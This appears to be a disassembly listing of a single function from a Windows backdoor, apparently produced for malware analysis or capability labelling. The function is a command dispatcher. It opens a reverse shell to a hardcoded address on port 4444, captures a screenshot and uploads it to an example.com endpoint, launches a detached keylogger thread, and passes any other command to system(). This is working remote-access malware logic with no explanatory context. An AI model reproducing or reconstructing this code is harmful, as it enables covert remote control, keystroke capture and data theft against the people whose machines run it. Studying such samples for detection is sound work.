Function at 0x140001450
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0xc0]
mov qword [rbp + 0x20], rcx
mov rax, qword [rbp + 0x20]
mov r8d, 0
lea rdx, str.revshell
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x1400014a2
mov edx, 0x115c
lea rax, [0x14000b040]
mov rcx, rax
call sym.ReverseShell_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__int_
jmp 0x1400016b6
mov rax, qword [rbp + 0x20]
mov r8d, 0
lea rdx, str.screenshot
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x1400015b5
lea rax, [rbp - 0x71]
mov qword [rbp - 8], rax
nop
nop
lea rdx, [rbp - 0x71]
lea rax, [rbp - 0xa0]
mov r8, rdx
lea rdx, str.screenshot.bmp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x71]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0xa0]
mov rcx, rax
call sym.CaptureScreenshot_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x41]
mov qword [rbp - 0x10], rax
nop
nop
lea rdx, [rbp - 0x41]
lea rax, [rbp - 0x70]
mov r8, rdx
lea rdx, str._upload
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp - 0x19]
mov qword [rbp - 0x18], rax
nop
nop
lea rdx, [rbp - 0x19]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.example.com
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rcx, [rbp - 0xa0]
lea rdx, [rbp - 0x70]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call sym.UploadFile_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp - 0x19]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
lea rax, [rbp - 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp - 0x41]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
lea rax, [rbp - 0xa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1400016b6
mov rax, qword [rbp + 0x20]
mov r8d, 0
lea rdx, str.keylogger
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x140001609
lea rax, [rbp - 0x80]
mov rdx, qword [sym.Keylogger__]
mov rcx, rax
call method.std::thread.thread_void_________void__void______
lea rax, [rbp - 0x80]
mov rcx, rax
call sym.std::thread::detach__
lea rax, [rbp - 0x80]
mov rcx, rax
call method.std::thread.thread__
jmp 0x1400016b6
mov rax, qword [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
call sym.system
jmp 0x1400016b6
add rsp, 0xc8
pop rbx
pop rbp
ret